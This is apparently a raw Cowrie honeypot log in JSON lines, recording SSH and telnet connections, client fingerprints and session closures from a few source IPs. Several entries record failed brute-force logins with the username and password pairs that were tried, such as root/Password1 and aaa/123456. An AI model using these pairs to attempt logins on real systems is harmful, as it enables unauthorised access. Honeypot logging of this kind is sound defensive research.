{"eventid":"cowrie.login.failed","username":"root","password":"kthjxrf","message":"login attempt [root/kthjxrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:03.877282Z","src_ip":"185.236.22.41","session":"6797d02da8ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:04.998854Z","src_ip":"185.236.22.41","session":"6797d02da8ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60666,"dst_ip":"159.203.135.109","dst_port":22,"session":"01e5fef7c2d2","protocol":"ssh","message":"New connection: 31.40.204.166:60666 (159.203.135.109:22) [session: 01e5fef7c2d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:06.718538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:06.722728Z","src_ip":"31.40.204.166","session":"01e5fef7c2d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:06.916867Z","src_ip":"31.40.204.166","session":"01e5fef7c2d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:07.702667Z","src_ip":"31.40.204.166","session":"01e5fef7c2d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38200,"dst_ip":"10.17.0.5","dst_port":23,"session":"853844e2af50","protocol":"telnet","message":"New connection: 152.42.224.71:38200 (10.17.0.5:23) [session: 853844e2af50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:08.211800Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:08.901579Z","src_ip":"31.40.204.166","session":"01e5fef7c2d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38214,"dst_ip":"10.17.0.5","dst_port":23,"session":"be6cbd2a9223","protocol":"telnet","message":"New connection: 152.42.224.71:38214 (10.17.0.5:23) [session: be6cbd2a9223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:10.243249Z"}
{"eventid":"cowrie.session.closed","duration":60.590744733810425,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:10.272083Z","src_ip":"152.42.224.71","session":"aaf45c2d2b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38226,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d50101f6828","protocol":"telnet","message":"New connection: 152.42.224.71:38226 (10.17.0.5:23) [session: 7d50101f6828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:10.638197Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38242,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ad9eaa28fd6","protocol":"telnet","message":"New connection: 152.42.224.71:38242 (10.17.0.5:23) [session: 7ad9eaa28fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:10.653750Z"}
{"eventid":"cowrie.session.closed","duration":37.250972270965576,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:11.213309Z","src_ip":"152.42.224.71","session":"f6b514ed8e94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.96822166442871,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:13.704925Z","src_ip":"152.42.224.71","session":"8727ae0f936a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.11961650848389,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:14.138824Z","src_ip":"152.42.224.71","session":"97b8e0629961","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38256,"dst_ip":"10.17.0.5","dst_port":23,"session":"89914d100e90","protocol":"telnet","message":"New connection: 152.42.224.71:38256 (10.17.0.5:23) [session: 89914d100e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:14.502787Z"}
{"eventid":"cowrie.session.closed","duration":111.25597882270813,"message":"Connection lost after 111 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:16.529043Z","src_ip":"152.42.224.71","session":"f7bcf4838df4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41044,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0eb6c42db2c","protocol":"telnet","message":"New connection: 152.42.224.71:41044 (10.17.0.5:23) [session: c0eb6c42db2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:17.571832Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60942,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d2331a1801a","protocol":"ssh","message":"New connection: 31.40.204.166:60942 (159.203.135.109:22) [session: 4d2331a1801a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:17.784557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:17.791735Z","src_ip":"31.40.204.166","session":"4d2331a1801a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:17.918138Z","src_ip":"31.40.204.166","session":"4d2331a1801a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:18.518746Z","src_ip":"31.40.204.166","session":"4d2331a1801a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41054,"dst_ip":"10.17.0.5","dst_port":23,"session":"488554862042","protocol":"telnet","message":"New connection: 152.42.224.71:41054 (10.17.0.5:23) [session: 488554862042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:18.613920Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:19.811011Z","src_ip":"31.40.204.166","session":"4d2331a1801a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49450,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcc7f91a7728","protocol":"ssh","message":"New connection: 31.40.204.166:49450 (159.203.135.109:22) [session: dcc7f91a7728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:28.379905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:28.393986Z","src_ip":"31.40.204.166","session":"dcc7f91a7728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:28.899532Z","src_ip":"31.40.204.166","session":"dcc7f91a7728","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"terraria","password":"123456","message":"login attempt [terraria/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:29.314035Z","src_ip":"31.40.204.166","session":"dcc7f91a7728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:30.487153Z","src_ip":"31.40.204.166","session":"dcc7f91a7728","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.13067817687988,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:31.949635Z","src_ip":"152.42.224.71","session":"3881a8f13b77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.07143235206604,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:34.725062Z","src_ip":"152.42.224.71","session":"7ad9eaa28fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41762,"dst_ip":"10.17.0.5","dst_port":23,"session":"11b943166efd","protocol":"telnet","message":"New connection: 152.42.224.71:41762 (10.17.0.5:23) [session: 11b943166efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:36.577229Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41764,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2004b41449f","protocol":"telnet","message":"New connection: 152.42.224.71:41764 (10.17.0.5:23) [session: c2004b41449f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:36.632345Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41778,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc2237d1aee3","protocol":"telnet","message":"New connection: 152.42.224.71:41778 (10.17.0.5:23) [session: bc2237d1aee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:38.409172Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33184,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bd2e1e3439a","protocol":"ssh","message":"New connection: 31.40.204.166:33184 (159.203.135.109:22) [session: 1bd2e1e3439a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:39.410117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:39.414532Z","src_ip":"31.40.204.166","session":"1bd2e1e3439a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41792,"dst_ip":"10.17.0.5","dst_port":23,"session":"78affa4d3acc","protocol":"telnet","message":"New connection: 152.42.224.71:41792 (10.17.0.5:23) [session: 78affa4d3acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:39.422877Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:39.602319Z","src_ip":"31.40.204.166","session":"1bd2e1e3439a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:40.119129Z","src_ip":"31.40.204.166","session":"1bd2e1e3439a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:41.289281Z","src_ip":"31.40.204.166","session":"1bd2e1e3439a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41804,"dst_ip":"10.17.0.5","dst_port":23,"session":"885381605453","protocol":"telnet","message":"New connection: 152.42.224.71:41804 (10.17.0.5:23) [session: 885381605453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:43.118176Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41816,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f50f97fe092","protocol":"telnet","message":"New connection: 152.42.224.71:41816 (10.17.0.5:23) [session: 4f50f97fe092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:43.712166Z"}
{"eventid":"cowrie.session.closed","duration":51.54376482963562,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:46.846209Z","src_ip":"152.42.224.71","session":"89008b3a727f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.17712187767029,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:48.388812Z","src_ip":"152.42.224.71","session":"853844e2af50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47374,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c40e65945c1","protocol":"telnet","message":"New connection: 152.42.224.71:47374 (10.17.0.5:23) [session: 5c40e65945c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:48.811046Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35700,"dst_ip":"159.203.135.109","dst_port":22,"session":"fea098ddf0d7","protocol":"ssh","message":"New connection: 31.40.204.166:35700 (159.203.135.109:22) [session: fea098ddf0d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:50.321761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:50.325688Z","src_ip":"31.40.204.166","session":"fea098ddf0d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:50.497694Z","src_ip":"31.40.204.166","session":"fea098ddf0d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:51.001400Z","src_ip":"31.40.204.166","session":"fea098ddf0d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:52.219248Z","src_ip":"31.40.204.166","session":"fea098ddf0d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.676443338394165,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:52.314513Z","src_ip":"152.42.224.71","session":"7d50101f6828","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47384,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb5fb35e74d9","protocol":"telnet","message":"New connection: 152.42.224.71:47384 (10.17.0.5:23) [session: fb5fb35e74d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:52.802684Z"}
{"eventid":"cowrie.session.closed","duration":39.8053834438324,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:54.308037Z","src_ip":"152.42.224.71","session":"89914d100e90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47388,"dst_ip":"10.17.0.5","dst_port":23,"session":"e49f7555fb17","protocol":"telnet","message":"New connection: 152.42.224.71:47388 (10.17.0.5:23) [session: e49f7555fb17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:55.243676Z"}
{"eventid":"cowrie.session.closed","duration":36.70869755744934,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:55.322499Z","src_ip":"152.42.224.71","session":"488554862042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":46306,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a81bba93cb","protocol":"ssh","message":"New connection: 103.172.78.219:46306 (10.17.0.5:22) [session: f4a81bba93cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:55.895947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:57:55.902410Z","src_ip":"103.172.78.219","session":"f4a81bba93cb","protocol":"ssh"}
